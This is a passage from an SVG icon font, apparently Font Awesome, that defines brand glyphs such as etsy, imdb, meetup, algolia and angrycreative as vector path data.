zM317.4 263.7c-19.9004 14.3994 -33.8008 43.2002 -11.9004 68.0996c21.5996 24.9004 40.7002 17.2002 59.7998 -0.799805c11.9004 -11.2998 29.2998 -24.9004 17.2002 -48.2002c-12.5 -23.5 -45.0996 -33.2002 -65.0996 -19.0996zM365.1 308.2
c-8.89941 10 -23.2998 -6.90039 -15.5 -16.1006c7.40039 -9 32.1006 -2.39941 15.5 16.1006zM504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM437.8 149.4c2.5 16.0996 -20.2002 16.5996 -25.2002 25.6992
c-13.5996 24.1006 -27.6992 36.8008 -54.5 30.4004c11.6006 8 23.5 6.09961 23.5 6.09961c0.300781 6.40039 0 13 -9.39941 24.9004c3.89941 12.5 0.299805 22.4004 0.299805 22.4004c15.5 8.59961 26.7998 24.3994 29.0996 43.1992
c3.60059 31 -18.7998 59.2002 -49.7998 62.8008c-22.0996 2.5 -43.7002 -7.7002 -54.2998 -25.7002c-23.2002 -40.1006 1.40039 -70.9004 22.4004 -81.4004c-14.4004 1.40039 -34.3008 11.9004 -40.1006 34.2998c-6.59961 25.7002 2.7998 49.8008 8.90039 61.4004
c0 0 -4.40039 5.7998 -8 8.90039c0 0 -13.7998 0 -24.6006 -5.30078c11.9004 15.2002 25.2002 14.4004 25.2002 14.4004c0 6.40039 -0.599609 14.9004 -3.59961 21.5996c-5.40039 11 -23.7998 12.9004 -31.7002 -2.7998c0.0996094 0.200195 0.299805 0.400391 0.400391 0.5
c-5 -11.8994 -1.10059 -55.8994 16.8994 -87.2002c-2.5 -1.39941 -9.09961 -6.09961 -13 -10c-21.5996 -9.69922 -56.2002 -60.2998 -56.2002 -60.2998c-28.1992 -10.7998 -77.1992 -50.8994 -70.5996 -79.7002c0.299805 -3 1.40039 -5.5 3 -7.5
c-2.7998 -2.19922 -5.5 -5 -8.2998 -8.2998c-11.9004 -13.7998 -5.2998 -35.2002 17.7002 -24.3994c15.7998 7.19922 29.5996 20.1992 36.2998 30.3994c0 0 -5.5 5 -16.2998 4.40039c27.6992 6.59961 34.2998 9.39941 46.1992 9.09961c8 -3.89941 8 34.2998 8 34.2998
c0 14.7002 -2.19922 31 -11.0996 41.5c12.5 -12.1992 29.0996 -32.6992 28 -60.5996c-0.799805 -18.2998 -15.2002 -23 -15.2002 -23c-9.09961 -16.5996 -43.2002 -65.9004 -30.3994 -106c0 0 -9.7002 14.9004 -10.2002 22.0996
c-17.4004 -19.3994 -46.5 -52.2998 -24.6006 -64.5c26.6006 -14.6992 108.801 88.6006 126.2 142.301c34.6006 20.7998 55.4004 47.2998 63.9004 65c22 -43.5 95.2998 -94.5 101.1 -59z" />
    <glyph glyph-name="etsy" unicode="&#xf2d7;" horiz-adv-x="384" 
d="M384 100c-1.75 -10.75 -13.75 -110 -15.5 -132c-117.879 4.29883 -219.895 4.74316 -368.5 0v25.5c45.457 8.94824 60.627 8.01855 61 35.25c1.79297 72.3223 3.52441 244.143 0 322c-1.0293 28.46 -12.1299 26.7646 -61 36v25.5
c73.8857 -2.3584 255.933 -8.55078 362.999 3.75c-3.5 -38.25 -7.75 -126.5 -7.75 -126.5h-23.249c-11.0527 42.835 -18.7588 90.5 -54.75 90.5h-137c-10.25 0 -10.75 -3.5 -10.75 -9.75v-163.75c58 -0.5 88.5 2.5 88.5 2.5c29.7695 0.951172 27.5596 8.50195 40.75 65.251
h25.75c-4.40723 -101.351 -3.91016 -61.8291 -1.75 -160.25h-25.75c-9.15527 40.0859 -9.06543 61.0449 -39.501 61.5c0 0 -21.5 2 -88 2v-139c0 -26 14.25 -38.25 44.25 -38.25h89.251c63.6357 0 66.5645 24.9961 98.751 99.75h22.249v-0.000976562z" />
    <glyph glyph-name="imdb" unicode="&#xf2d8;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM21.2998 218.8h-0.299805c0.0996094 0.100586 0.200195 0.299805 0.299805 0.400391v-0.400391zM97 128.2v127.8h-33v-127.8h33z
M210.2 128.2v127.8h-43l-7.60059 -59.9004c-2.69922 20 -5.39941 40.1006 -8.69922 59.9004h-42.8008v-127.8h29v84.5l12.2002 -84.5h20.6006l11.5996 86.3994v-86.3994h28.7002zM221.6 128.2c86.1006 -0.100586 75 -6 75 82.5c0 8.09961 0.300781 16.7998 -1.39941 24.3994
c-4.2998 22.5 -31.4004 20.9004 -49 20.9004h-24.6006v-127.8zM382.5 157.4v36c0 17.2998 -0.799805 30.0996 -22.2002 30.0996c-8.89941 0 -14.8994 -2.7002 -20.8994 -9.2002v41.7002h-31.7002v-127.8h29.7998l1.90039 8.09961
c5.69922 -6.7998 11.8994 -9.7998 20.8994 -9.7998c19.7998 0 22.2002 15.2002 22.2002 30.9004zM265 218.1v-49.2998c0 -9.7002 1.90039 -18.7002 -10.2998 -18.3994v83.6992c11.8994 0 10.2998 -6.2998 10.2998 -16zM350.5 192v-32.7002
c0 -5.39941 1.59961 -14.3994 -6.2002 -14.3994c-1.59961 0 -3 0.799805 -3.7998 2.39941c-2.2002 5.10059 -1.09961 44.1006 -1.09961 44.7002c0 3.7998 -1.10059 12.7002 4.89941 12.7002c7.2998 0 6.2002 -7.2998 6.2002 -12.7002z" />
    <glyph glyph-name="ravelry" unicode="&#xf2d9;" horiz-adv-x="512" 
d="M407.4 386.5c72.6992 -37.9004 112 -117.2 103.3 -199.5c-1.7002 -16.7002 -4.40039 -36.2002 -9.7998 -52.2002c-22.2002 -65.7002 -52.9004 -108.6 -123.101 -147.7c-6.39941 -4.39941 -13.2998 -8.59961 -20.2002 -10.7998
c-12.5 -4.39941 -26.0996 -5.39941 -40.0996 -3.89941c-5.90039 -0.5 -11.7998 -0.700195 -18 -0.700195c-93.7002 0 -173 64 -196.9 151.399c-0.699219 0 -1.5 0.200195 -2.19922 0.200195c-5.60059 -44.2998 27.0996 -104.1 27.0996 -104.1s2 -3 13.2998 -20.2002
c-62.7998 33.2002 -64.5 131.2 -64.5 131.2c-15 5.59961 -67.2002 23.3994 -76.2998 37.8994c0 0 40.9004 -22.3994 76.2002 -27c-0.200195 0.300781 0.5 7.90039 0.5 7.90039c2.2002 30 12.5 53.4004 23.0996 71.4004c6.90039 33.7998 22.1006 64.2998 43.2998 89.8994
c3.7002 15.2998 9.60059 33.5 19.9004 52.7002c4.40039 8.40039 8.59961 13.7998 19.9004 19c74.8994 35 148.699 43.9004 224.5 4.5zM138.8 284.8c-7.59961 -11.2998 -13.7002 -23.5996 -18.8994 -36.3994c8.09961 8.59961 14.7998 14.1992 18.1992 16.6992
c-0.5 7.40039 0.700195 19.7002 0.700195 19.7002zM107.6 162.9c0.700195 -9.60059 2 -18.9004 4.2002 -28.1006l41.4004 -6.89941c-14.1006 42.0996 -15.7998 90.0996 -15.7998 90.0996c-16.5 -16 -25.4004 -37.9004 -29.8008 -55.0996zM115.5 120.1
c21.4004 -69.6992 81 -122.8 154.1 -134.399c-1 0.299805 -1.69922 0.5 -2.69922 1c0 0 -81 47.5 -108.301 124.3c-9.09961 1.5 -28.2998 5.90039 -43.0996 9.09961zM386 3.90039c63 32 106.6 98 106.8 174c0 107.399 -86.5996 194.5 -193 194.5
c-49.2998 0 -94.0996 -18.7002 -128.3 -49.5c-5.2002 -10.1006 -8.59961 -22.9004 -11.0996 -39.4004c52.5 44.5996 146 33.5 146 33.5c23.3994 -1 20.5996 -21.7002 20.3994 -28.0996c-85.2002 7.19922 -127 -17.2002 -168.399 -52.4004
c0 0 8.09961 -78.7998 26.7998 -110.8c107.8 -4.90039 189.8 53.7002 189.8 53.7002c10.2998 7.39941 19.4004 8.09961 21.4004 -4.7002c1.5 -10.4004 2.19922 -24.4004 -9.60059 -29.7998c-36 -16.8008 -75.5996 -27.3008 -115 -33
c-25.5996 -3.7002 -39.7998 -4.60059 -78 -3.90039c36.4004 -84.7002 127.5 -107.8 127.5 -107.8c28.5 -4.7002 50.2002 -1 64.7002 3.7002z" />
    <glyph glyph-name="sellcast" unicode="&#xf2da;" 
d="M353.4 416c52.0996 0 94.6992 -42.5996 94.6992 -94.5996v-258.801c0 -52 -42.5996 -94.5996 -94.6992 -94.5996h-258.7c-52.1006 0 -94.7002 42.5996 -94.7002 94.7002v258.7c0 52 42.5996 94.5996 94.7002 94.5996h258.7zM303.4 99.5996
c27.8994 48.2002 11.1992 110.5 -37.2002 138.5c-18.6006 10.8008 0.0996094 -0.0996094 -18.5 10.7002c-25 14.4004 -46.2002 -23.2998 -21.6006 -37.5c18 -10.2002 0.800781 -0.399414 18.6006 -10.5996c27.5996 -16 37.2002 -51.7998 21.2998 -79.4004
c-16 -27.5996 -51.7998 -37.2002 -79.4004 -21.2998c-18.5996 10.7998 0.100586 -0.0996094 -18.5 10.7002c-10.2998 6 -23.5996 2.39941 -29.5 -7.90039l-15.6992 -27.2002c-12.6006 -21.7998 19.3994 -53 42.2998 -13.1992c48.2998 -27.7002 110.3 -11 138.2 37.1992z
M325.2 308.4c14.2998 24.7998 -23.4004 46.3994 -37.7002 21.5l-4.7998 -8.40039c-48.2998 27.7002 -110.3 11 -138.2 -37.2002c-27.7998 -48.2998 -11.0996 -110.6 37.0996 -138.399c18.6006 -10.8008 -0.0996094 0.0996094 18.5 -10.7002
c25 -14.4004 46.2002 23.2998 21.6006 37.5c-0.100586 0 -18.6006 10.5996 -18.6006 10.5996c-27.5996 16 -37.2998 51.7998 -21.2998 79.4004c16 27.5996 51.7998 37.2002 79.4004 21.2998c18.5996 -10.7998 -0.100586 0.0996094 18.5 -10.7002
c10.2002 -5.09961 20 -2.89941 26.5 3.60059c2.7002 2.69922 2 2 19 31.5z" />
    <glyph glyph-name="superpowers" unicode="&#xf2dd;" 
d="M448 416l-87.2002 -87c39.7002 -38.7002 61.2002 -92.7002 57.7002 -148.2c-5.40039 -93 -76.9004 -167.3 -168.7 -179.8c-83.2998 -11 -166.5 -22 -249.8 -33l86.7998 86.7998c-39.7998 38.7002 -61.0996 92.7002 -57.7998 148.2c5.7002 93.2998 77 167.5 169 180
c83.2002 11 166.7 22 250 33zM368.3 183.7c4.40039 80 -56.7998 146.3 -136.1 151c-78.7002 4.7998 -148.5 -55.2998 -153 -134.5c-4.40039 -80 56.7998 -146.3 136.3 -151c78.7998 -4.7002 148.6 55 152.8 134.5z" />
    <glyph glyph-name="wpexplorer" unicode="&#xf2de;" horiz-adv-x="512" 
d="M512 192c0 -141.2 -114.7 -256 -256 -256c-141.2 0 -256 114.7 -256 256s114.7 256 256 256s256 -114.7 256 -256zM480 192c0 123.2 -100.3 224 -224 224c-123.5 0 -224 -100.5 -224 -224s100.5 -224 224 -224s224 100.5 224 224zM160.9 323.4l86.8994 -37.1006
l-37.0996 -86.8994l-86.9004 37.0996zM270.9 154.3l46.5996 -94h-14.5996l-50 100l-48.9004 -100h-14l51.0996 106.9l-22.2998 9.39941l6 14l68.6006 -29.0996l-6 -14.2998zM259.1 270.6l68.6006 -29.3994l-29.4004 -68.2998l-68.2998 29.0996zM339.4 227.7
l54.5996 -23.1006l-23.4004 -54.2998l-54.2998 23.1006z" />
    <glyph glyph-name="meetup" unicode="&#xf2e0;" horiz-adv-x="512" 
d="M99 33.7002c1.09961 -5.7002 -2.2998 -11.1006 -8 -12.2998c-5.40039 -1.10059 -10.9004 2.2998 -12 8c-1.09961 5.39941 2.2998 11.0996 7.7002 12.2998c5.39941 1.2002 11.0996 -2.2998 12.2998 -8zM242.1 -37.7002c6.60059 4.60059 15.5 2.7998 19.7002 -3.7002
c4.60059 -6.59961 2.90039 -15.3994 -3.39941 -20c-6.60059 -4.59961 -15.4004 -2.89941 -20 3.7002c-4.30078 6.60059 -2.60059 15.4004 3.69922 20zM156.1 424.6c-6.2998 -1.5 -12.5 2.5 -13.8994 9.10059c-1.2002 6.2998 2.7998 12.5996 9.09961 14
c6.2998 1.5 12.6006 -2.5 13.7002 -9.10059c1.40039 -6.2998 -2.59961 -12.5996 -8.90039 -14zM34.4004 221.7c10 -7.10059 12.5996 -20.7998 5.69922 -31.2002c-6.89941 -10.2998 -20.5996 -12.7998 -30.5996 -5.7002c-10 6.90039 -12.5996 20.9004 -5.7002 30.9004
c6.90039 10.2998 20.6006 12.8994 30.6006 6zM306.4 392.6c-10.3008 -6.2998 -23.7002 -2.89941 -29.7002 7.40039c-6.2998 10.5996 -2.90039 24.2998 7.39941 30.5996c10.3008 6.30078 23.7002 2.90039 30 -7.69922c6 -10.3008 2.90039 -24 -7.69922 -30.3008zM115.3 334.6
c-7.5 -5.19922 -18 -3.5 -23.0996 4.30078c-5.10059 7.69922 -3.40039 18.2998 4.2998 23.6992c7.40039 5.10059 18 3.40039 23.0996 -4.2998c5.10059 -7.7002 3.40039 -18.2998 -4.2998 -23.7002zM487.6 178.6c7.40039 1.40039 14.8008 -3.5 16.3008 -10.8994
c1.69922 -7.7002 -3.2002 -15.2002 -10.6006 -16.6006c-7.39941 -1.69922 -14.8994 3.2002 -16.2998 10.6006c-1.7002 7.7998 3.2002 15.2002 10.5996 16.8994zM527.3 235.4c1.40039 -5.7002 -2.2998 -11.1006 -7.7002 -12.6006
c-5.69922 -1.09961 -11.1992 2.60059 -12.2998 8c-1.09961 5.7002 2.2998 11.5 8 12.6006c5.40039 1.09961 10.9004 -2.30078 12 -8zM447 309.1c8.2998 6 20 3.80078 25.7002 -4.89941c5.7002 -8.60059 3.7002 -20.2998 -4.60059 -26.2998
c-8.59961 -5.7002 -20.2998 -3.7002 -26 4.89941c-5.69922 8.60059 -3.69922 20.2998 4.90039 26.2998zM440.7 169.7c26.2998 -43.1006 15.0996 -100 -26.2998 -129.101c-17.4004 -12.2998 -37.1006 -17.6992 -56.9004 -17.0996
c-12 -47.0996 -69.4004 -64.5996 -105.1 -32.5996c-1.10059 -0.900391 -2.60059 -1.7002 -3.7002 -2.90039c-39.1006 -27.0996 -92.2998 -17.4004 -119.4 22.2998c-9.7002 14.2998 -14.5996 30.6006 -15.0996 46.9004c-65.4004 10.8994 -90 94 -41.1006 139.7
c-28.2998 46.8994 0.600586 107.399 53.4004 114.899c25.0996 66.2002 107.6 97.6006 163.6 54.2002c67.4004 22.2998 136.301 -29.4004 130.9 -101.1c41.0996 -12.6006 52.7998 -66.9004 19.7002 -95.2002zM370.7 95.4004
c-3.10059 20.5996 -40.9004 4.59961 -43.1006 27.0996c-3.09961 32 43.7002 101.1 40 128c-3.39941 24 -19.3994 29.0996 -33.3994 29.4004c-13.4004 0.299805 -16.9004 -2 -21.4004 -4.60059c-2.89941 -1.7002 -6.59961 -4.89941 -11.7002 0.299805
c-6.2998 6 -11.0996 11.7002 -19.3994 12.9004c-12.2998 2 -17.7002 -2 -26.6006 -9.7002c-3.39941 -2.89941 -12 -12.8994 -20 -9.09961c-3.39941 1.7002 -15.3994 7.7002 -24 11.3994c-16.2998 7.10059 -40 -4.59961 -48.5996 -20
c-12.9004 -22.8994 -38 -113.1 -41.7002 -125.1c-8.59961 -26.5996 10.9004 -48.5996 36.9004 -47.0996c11.0996 0.599609 18.2998 4.59961 25.3994 17.3994c4 7.40039 41.7002 107.7 44.6006 112.601c2 3.39941 8.89941 8 14.5996 5.09961
c5.7002 -3.09961 6.90039 -9.40039 6 -15.0996c-1.09961 -9.7002 -28 -70.9004 -28.8994 -77.7002c-3.40039 -22.9004 26.8994 -26.6006 38.5996 -4c3.7002 7.09961 45.7002 92.5996 49.4004 98.2998c4.2998 6.2998 7.39941 8.2998 11.6992 8
c3.10059 0 8.30078 -0.900391 7.10059 -10.9004c-1.40039 -9.39941 -35.1006 -72.2998 -38.9004 -87.6992c-4.59961 -20.6006 6.60059 -41.4004 24.9004 -50.6006c11.3994 -5.7002 62.5 -15.7002 58.5 11.1006zM376.4 3.09961c10.5996 7.5 24.8994 4.60059 32.2998 -6
c7.09961 -10.5996 4.59961 -25.1992 -6 -32.5996c-10.6006 -7.09961 -24.9004 -4.59961 -32 6c-7.2002 10.5996 -4.60059 25.2002 5.7002 32.5996z" />
    <glyph glyph-name="font-awesome-alt" unicode="&#xf35c;" 
d="M339.3 276.8c5.40039 0 9.5 -3 7.7002 -7.09961v-134.4c0 -4.2002 -3 -6 -7.2002 -7.7998c-15.5996 -7.09961 -33.5 -13.7002 -52 -13.7002c-26.2998 0 -38.2002 16.1006 -69.2998 16.1006c-22.7002 0 -46 -8.30078 -65.7002 -16.7002
c-0.599609 -0.600586 -1.7998 -1.2002 -3 -1.2002v-44.2002c0 -1.7998 0 -3 -0.599609 -4.7998v-1.2998c-2.40039 -7.7002 -9.5 -13.7002 -18.5 -13.7002c-10.7002 0 -19.7002 8.90039 -19.7002 19.7002v212.1c-7.7002 6 -12.5 15.5 -12.5 25.7002
c0 18 14.2998 32.2998 32.2998 32.2998s32.2998 -14.3994 32.2998 -32.2998c0 -10.7998 -4.69922 -19.7002 -12.5 -25.7002v-17.8994c1.2002 0.599609 3 1.19922 4.80078 1.7998c17.8994 7.09961 39.3994 13.7002 59.6992 13.7002
c22.1006 0 39.4004 -5.90039 59.1006 -13.7002c4.09961 -1.7998 8.2998 -2.40039 12.5 -2.40039c22.7002 0 46.5996 15.5 52.5996 15.5zM397.8 416c27.5 0 50.2002 -22.7002 50.2002 -50.2002v-347.6c0 -27.5 -22.7002 -50.2002 -50.2002 -50.2002h-347.6
c-27.5 0 -50.2002 22.7002 -50.2002 50.2002v347.6c0 27.5 22.7002 50.2002 50.2002 50.2002h347.6zM412.1 18.2998v347.601c0 7.69922 -6.5 14.2998 -14.2998 14.2998v-0.100586h-347.6c-7.7002 0 -14.2998 -6.5 -14.2998 -14.2998v-347.5
c0 -7.7002 6.5 -14.2998 14.2998 -14.2998h347.6c7.7002 0 14.2998 6.5 14.2998 14.2998z" />
    <glyph glyph-name="accessible-icon" unicode="&#xf368;" 
d="M423.9 192.2l-12.9004 -157.3c-3.2998 -40.7002 -63.9004 -35.1006 -60.5996 4.89941l10 122.5l-41.1006 -2.2998c10.1006 -20.7002 15.7998 -43.9004 15.7998 -68.5c0 -41.2002 -16.0996 -78.7002 -42.2998 -106.5l-39.2998 39.2998
c57.9004 63.7002 13.0996 167.2 -74 167.2c-25.9004 0 -49.5 -9.90039 -67.2002 -26l-39.2998 39.2998c22 20.7002 50.0996 35.1006 81.4004 40.2002l75.2998 85.7002l-42.6006 24.7998l-51.5996 -46c-30 -26.7998 -70.5996 18.5 -40.5 45.4004l68 60.6992
c9.7998 8.80078 24.0996 10.2002 35.5 3.60059c0 0 139.3 -80.9004 139.5 -81.1006c16.2002 -10.0996 20.7002 -36 6.09961 -52.5996l-58.3994 -66.5l106.1 5.90039c18.5 1.09961 33.6006 -14.4004 32.1006 -32.7002zM359 346.2
c-28.0996 0 -50.9004 22.7998 -50.9004 50.8994c0 28.1006 22.8008 50.9004 50.9004 50.9004s50.9004 -22.7998 50.9004 -50.9004c0 -28.0996 -22.8008 -50.8994 -50.9004 -50.8994zM179.6 -8.5c20.8008 0 40.1006 6.40039 56.1006 17.2998l39.7002 -39.7002
c-100.7 -78.8994 -251.4 -8.19922 -251.4 122.5c0 36.1006 12.4004 69.4004 33.2002 95.7002l39.7002 -39.7002c-44.7002 -65.5 2.09961 -156.1 82.6992 -156.1z" />
    <glyph glyph-name="accusoft" unicode="&#xf369;" horiz-adv-x="640" 
d="M322.1 196c-1.69922 -1.59961 -89.5996 -82.5 -90.1992 -83.2998l-92.6006 -33.7998c-4.7998 -2 -7.59961 -3.7002 -7 -8.90039c0.200195 -1.5 0.600586 -22.5996 1 -27.7002c-0.700195 -0.5 -0.0996094 0 -0.599609 -0.599609c0 0 -113.7 -36.6006 -114.5 -36.6006
c-14.1006 -5.09961 -22.7002 -8.2998 -15.7002 1.7002c1.2998 1.7998 234.4 231.601 243.4 240.9c13 13.5 25 15.0996 25 15.0996l51.1992 -65.7998v-1zM482.2 75.9004c-5.7002 6.89941 -232.2 297.1 -239.9 306.6c-13.7002 17.2002 0 16.7998 19.2002 16.9004
c9.7002 0.0996094 106.3 0.599609 116.5 0.599609c24.0996 0.0996094 28.7002 -0.599609 38.4004 -12.7998c2.09961 -2.7002 205.1 -245.8 207.199 -248.3c5.5 -6.7002 15.2002 -19.1006 7.2002 -23.4004c-2.39941 -1.2998 -114.6 -47.7002 -117.8 -48.9004
c-10.0996 -4 -17.5 -6.7998 -30.7998 9.30078zM634.9 74.2998c6 -1.39941 7.09961 -4.2002 1.69922 -8.2002c-2 -1.39941 -123.699 -76.5996 -125.8 -77.7998c-15.0996 -8.7998 -38 -1.59961 -53.5996 1.7002c-7.10059 1.5 -305.3 68.2998 -308 69.0996
c-2.60059 0.900391 -4.40039 1 -4.60059 3.5c-0.299805 4 6 5.60059 11.1006 7.60059c5 1.89941 145.3 52.5996 150.2 54.7002c4.7998 2.09961 11.2998 2.69922 14.3994 2.89941c4.90039 0.299805 59.9004 -8.39941 65.2998 -9.2998l57.1006 -74
c9.7998 -11.4004 20.7002 -21.9004 36.7002 -14.5996c2.5 1.19922 117.5 51.5996 117.5 51.5996c13.3994 -2.5 35.6992 -6.90039 38 -7.2002z" />
    <glyph glyph-name="adversal" unicode="&#xf36a;" horiz-adv-x="512" 
d="M482.1 416c24.5 0 29.9004 -5.59961 29.9004 -30.2002v-388.1c0 -24.5 -5.5 -29.7002 -29.9004 -29.7002h-453.399c-22.9004 0 -28.7002 5.59961 -28.7002 28.9004v390.199c0 23 5.7998 28.9004 28.7002 28.9004h453.399zM178.4 227.7
c9.39941 -7.2002 12.3994 -17.1006 11.2998 -27.2998c-1.7998 -19.1006 -75.7998 -11.4004 -114 -30.9004c-27.2002 -13.9004 -42.7002 -41.7002 -39.6006 -71c6.7002 -64.7002 89.6006 -79.7002 147 -43.2998c4.60059 3.2002 8.30078 4.89941 11.9004 1
c2.09961 -2.60059 2 -4 3.90039 -6.2002c7.2998 -9.59961 38.1992 -14.0996 46.5996 -7.40039c3.09961 2.80078 4.59961 6.30078 2.7002 10.7002c-13.6006 30.5 -6.60059 63 -9.2998 88.7998c0 69.3008 6.39941 111.7 -34.5 128.5
c-41.9004 17.4004 -84.2002 16.6006 -125.301 -4.7998c-16.2998 -9 -53.6992 -52.8994 -24.8994 -64.2998c5.2998 -2.2998 12.7998 -4 22.5 -5.5c8.2002 -1.2002 13.2002 -2.7998 17.5 8.2998c12.0996 32.1006 56.7002 43.6006 84.2002 23.4004zM465.1 5.7002
c0 14.2998 -9.7998 9.89941 -16.5996 9.89941c-132.3 0.400391 -264.5 0.400391 -396.8 0c-6.60059 0 -16.7002 4.80078 -17.1006 -9.09961c-0.399414 -15.5 10.4004 -10.7002 17.8008 -10.7002h394.899c6.7002 0 17.7998 -5.2002 17.7998 9.90039zM468.9 346.2
c0 0.200195 0 0.299805 0.0996094 0.5c0 9.89941 -3.5 15.0996 -13.5996 14.2998c-3.10059 -0.400391 -6.60059 0 -9.7002 0c-26.1006 0 -26 0 -26 -26.2002v-71c-79.2002 45.6006 -124.3 -6.59961 -136.101 -30.5c-16.3994 -32.8994 -21.7998 -66.5996 -15.6992 -100
c16.2998 -92.2998 91 -114.899 144.399 -85.2002c4.60059 2.80078 6.60059 7.5 12.4004 -1.19922c8.59961 -12.7002 23.7002 -5.2002 36.0996 -5.60059c7.40039 0 8.10059 8.2002 8.10059 13.9004v291zM417.4 113.9c-19.5 -47.6006 -72.9004 -43.3008 -90 -5.2002
c-15.1006 33.2998 -15.5 68.2002 0.399414 101.5c16.2998 34.0996 59.7002 35.7002 81.5 4.7998c20.6006 -28.7998 14.9004 -84.5996 8.10059 -101.1zM122.6 78.5996c-7.5 1.30078 -33 3.30078 -33.6992 27.8008c-0.400391 13.8994 7.7998 23 19.7998 25.7998
c24.3994 5.89941 49.2998 9.89941 73.7002 14.7002c8.89941 2 7.39941 -4.40039 7.7998 -9.5c1.39941 -33 -26.1006 -59.2002 -67.6006 -58.8008z" />
    <glyph glyph-name="affiliatetheme" unicode="&#xf36b;" horiz-adv-x="512" 
d="M159.7 210.6c-51.2998 -70.8994 -116.601 -110.8 -145.7 -89.1992c-29.2002 21.6992 -11.2002 96.5996 40.2002 167.5c51.2998 70.8994 116.6 110.8 145.7 89.1992c29.0996 -21.5996 11.0996 -96.5996 -40.2002 -167.5zM510.9 267.9
c0.699219 -8.2002 1.09961 -16.5 1 -25c0 -151.801 -121.601 -274.9 -271.601 -274.9c-82.8994 0 -157.2 37.5996 -207 96.9004c71.2998 19.3994 130.5 68.3994 164.101 133.199c7.69922 -32.5996 24 -58.5996 49 -73.7998c72.5996 -44.0996 190.699 20.2002 264.5 143.601z
" />
    <glyph glyph-name="algolia" unicode="&#xf36c;" 
d="M229.3 265.4c49.2002 0 89.2002 -39.9004 89.2002 -89.2002s-39.9004 -89.2002 -89.2002 -89.2002s-89.2002 39.9004 -89.2002 89.2002s39.9004 89.2002 89.2002 89.2002zM292 208.8c1.2998 0.700195 1.7998 2.40039 1.09961 3.7002
c-12.1992 21.4004 -34.8994 36.0996 -61.0996 37.0996c-1.40039 0.100586 -2.7002 -1.09961 -2.7002 -2.59961v-66.5c0 -1.90039 2 -3.2002 3.7998 -2.2998zM389.1 416c32.5 0 58.9004 -26.4004 58.8008 -58.9004v-330.199c0 -32.5 -26.3008 -58.9004 -58.9004 -58.9004
h-330.1c-32.5 0 -58.9004 26.4004 -58.9004 59v330.1c0 32.5 26.4004 58.9004 58.9004 58.9004h330.199zM186.5 331.3h0.0996094v-15.7998c0 -1.7002 1.7002 -3 3.40039 -2.5c12.7002 3.7002 25.9004 5.5 39.4004 5.5c13 0 25.7998 -1.7002 38.0996 -5.09961
c1.59961 -0.5 3.2998 0.699219 3.2998 2.5v15.3994c0 10.7998 -8.7002 19.5 -19.5 19.5h-45.2998c-10.7998 0 -19.5 -8.7002 -19.5 -19.5zM102.1 294.3c-7.59961 -7.59961 -7.59961 -19.8994 0 -27.3994l7.7002 -7.7002c1.10059 -1.2002 3 -1 4 0.299805
c4.40039 6.09961 9.40039 12 14.7998 17.4004c5.5 5.5 11.4004 10.3994 17.6006 14.8994c1.2998 1 1.39941 2.90039 0.299805 4l-7.7002 7.7002c-7.59961 7.59961 -19.8994 7.59961 -27.5 0zM229.3 49.5c69.9004 0 126.601 56.7998 126.601 126.6
c0 70 -56.6006 126.601 -126.601 126.601c-69.8994 0 -126.6 -56.7002 -126.6 -126.601c0 -69.8994 56.5996 -126.6 126.6 -126.6z" />
    <glyph glyph-name="amilia" unicode="&#xf36d;" 
d="M240.1 416c134.101 0 191.9 -55.7002 192 -136v-296.6c0 -3 -1 -8.10059 -5.09961 -9.10059c-4 -1 -57.2998 -0.700195 -66.5 -0.700195s-56.7998 1 -59.9004 2c-4 0.900391 -6.09961 6.10059 -6.09961 9.10059v25.3994
c-39.5996 -21.3994 -105.5 -42.0996 -153.3 -42.0996c-109.7 0 -124.9 85.7002 -124.9 104s-5.09961 95.5 30.4004 111.8c31.5 13.2002 156.3 36.5 243.7 47.7998v38.5c0 44.7002 -1 73.1006 -58.9004 73.1006c-55.7998 0 -119.8 -25.4004 -152.3 -47.7002
c-6.10059 -4.09961 -16.2002 -4.09961 -20.2998 6.09961c-5.10059 12.2002 -9.10059 34.5 -10.2002 39.6006c-1.90039 10.2002 2.09961 16.2998 7.2002 19.3994c52.6992 38.5 122.3 55.4004 184.199 55.4004zM290.3 68v106.7c-44.7002 -4.10059 -95.5 -20.2998 -119.8 -33.5
c-21.2998 -10.2002 -18.2998 -40.7002 -18.2998 -52.9004c0.0996094 -11.2002 6.2002 -44.7002 59 -44.7002c30.3994 0 57.7002 11.2002 79.0996 24.4004z" />
    <glyph glyph-name="angrycreative" unicode="&#xf36e;" horiz-adv-x="640" 
d="M640 209.8l-3.2002 -28.2002l-34.5 -2.2998l-2 -18.0996l34.5 2.2998l-3.2002 -28.2002l-34.3994 -2.2002l-2.2998 -20.0996l34.3994 2.2002l-3 -26.1006l-64.7002 -4.09961l12.7002 113.2l-47.2998 -115.4l-31.9004 -2l-23.7998 117.8l30.2998 2l13.6006 -79.3994
l31.7002 82.3994zM426.8 76.5l12.7998 120l28.4004 1.90039l-12.9004 -120.101zM162 59.9004l-19.4004 36l-3.5 -37.4004l-28.1992 -1.7002l2.69922 29.1006c-11 -18 -32 -34.3008 -56.8994 -35.8008c-32.7998 -2 -59.7002 20.9004 -56.4004 58.2002
c2.60059 29.2998 26.7002 62.7998 67.5 65.4004c37.7002 2.39941 47.6006 -23.2002 51.2998 -28.7998l2.80078 30.7998l38.8994 2.5c20.1006 1.2998 38.7002 -3.7002 42.5 -23.7002l2.60059 26.5996l64.7998 4.2002l-2.7002 -27.8994l-36.4004 -2.40039l-1.69922 -17.9004
l36.3994 2.30078l-2.7002 -27.9004l-36.3994 -2.2998l-1.90039 -19.9004l36.2998 2.2998l-2.09961 -20.7998l55 117.2l23.7998 1.59961l32.1006 -110.6l8.89941 85.5996l-22.2998 -1.39941l2.90039 27.8994l75 4.90039l-3 -28l-24.3008 -1.59961l-9.69922 -91.9004
l-58 -3.7002l-4.30078 15.6006l-39.3994 -2.5l-8 -16.3008zM117.7 130.1l-26.4004 -1.69922c-6.7002 12.3994 -14.3994 16.5996 -26.2998 15.7998c-19 -1.2002 -33.2998 -17.5 -34.5996 -33.2998c-1.40039 -16 7.2998 -32.5 28.6992 -31.2002
c12.8008 0.799805 21.3008 8.59961 28.9004 18.8994l27 1.7002zM173.8 137.8c1.2002 12.9004 -7.59961 13.6006 -26.0996 12.4004l-2.7002 -28.5c14.2002 0.899414 27.5 2.09961 28.7998 16.0996zM194.9 67l5.7998 60c-5 -13.5 -14.7002 -21.0996 -27.9004 -26.5996z
